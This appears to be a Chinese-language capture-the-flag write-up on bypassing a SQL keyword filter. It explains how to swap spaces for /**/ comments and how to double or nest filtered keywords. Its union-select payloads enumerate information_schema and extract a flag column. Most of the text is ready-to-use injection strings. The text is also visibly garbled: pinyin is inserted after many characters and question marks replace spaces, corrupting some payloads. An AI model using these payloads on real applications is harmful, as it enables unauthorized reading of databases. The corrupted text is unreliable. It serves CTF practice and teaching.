知識點(diǎn):遇到過濾關(guān)鍵字的情況,可以通過雙寫、交叉、/**/替代空格等方法來處理
判斷注入類型
????基本的sql注入測試,首先輸入1或者abc,正常的輸入,沒有報(bào)錯;
? ? 其次輸入' or '1,發(fā)現(xiàn)沒有報(bào)錯,說明正確的拼接查詢字符串也可以進(jìn)行;
????繼續(xù)輸入' select '1,結(jié)果是' '1,說明select被過濾了;
????嘗試輸入' select/**/'1,發(fā)現(xiàn)有報(bào)錯;
????嘗試輸入'/**/select '1,發(fā)現(xiàn)結(jié)果是'/**/'1,這說明真正被過濾的是select (select+一個空格);
????綜上所述,發(fā)現(xiàn)了真正過濾的是(關(guān)鍵字+一個空格)。
????以下兩種注入設(shè)計(jì)思路邏輯類似,只是具體實(shí)現(xiàn)過程不同,學(xué)會任意一種即可
設(shè)計(jì)注入語句(/**/+交叉)
????發(fā)現(xiàn)注入類型之后,可以用/**/代替空格的方法來進(jìn)行應(yīng)對過濾規(guī)則。
????構(gòu)建'union/**/select/**/database()',查詢到數(shù)據(jù)庫的名稱為web1;
????構(gòu)建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/='web1,發(fā)現(xiàn)會報(bào)錯,經(jīng)過是試錯后發(fā)現(xiàn)table_schema會過濾。但是過濾規(guī)則跟上述還不同,這個只是過濾table_schema,所有用交叉法來應(yīng)對過濾規(guī)則;
????所以構(gòu)建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1,得到表的名稱為flag(或者web_1);
????構(gòu)建'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag,同樣發(fā)現(xiàn)會過濾column_name和information_schema.columns,用交叉法來應(yīng)對;
????所以構(gòu)建'union/**/select/**/column_namcolumn_namee/**/from/**/information_schema.columninformation_schema.columnss/**/where/**/table_name='flag,得到列的名稱為flag(或者id);
????最后構(gòu)建'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1查詢列flag內(nèi)容,得到flag的值
設(shè)計(jì)注入語句(雙寫+交叉)
????發(fā)現(xiàn)注入類型之后,可以用雙寫關(guān)鍵字的方法來進(jìn)行應(yīng)對過濾規(guī)則。(注意,關(guān)鍵詞后面需要加兩個空格)
? ? 構(gòu)建'unionunion? selectselect? database()',查詢到數(shù)據(jù)庫的名稱為web1;
? ? 構(gòu)建'unionunion? selectselect? table_name?fromfrom??information_schema.tables?wherewhere? table_schema='web1,發(fā)現(xiàn)會報(bào)錯,經(jīng)過是試錯后發(fā)現(xiàn)table_schema會過濾。但是過濾規(guī)則跟上述還不同,這個只是過濾table_schema,所有用交叉法來應(yīng)對過濾規(guī)則;
? ? 所以構(gòu)建'unionunion? selectselect? table_name?fromfrom??information_schema.tables wherewhere? table_schemtable_schemaa='web1,得到表的名稱為flag(或者web_1);
? ? 構(gòu)建'unionunion? selectselect?column_name?fromfrom??information_schema.columns??wherewhere? table_name='flag,同樣發(fā)現(xiàn)會過濾column_name和information_schema.columns,用交叉法來應(yīng)對;
? ? 所以構(gòu)建'unionunion? selectselect? column_namcolumn_namee?fromfrom??information_schema.columninformation_schema.columnss?wherewhere? table_name='flag,得到列的名稱為flag(或者id);
????最后構(gòu)建'unionunion ?selectselect ?flag fromfrom ?flag wherewhere ? '1' ='1查詢列flag內(nèi)容,得到flag的值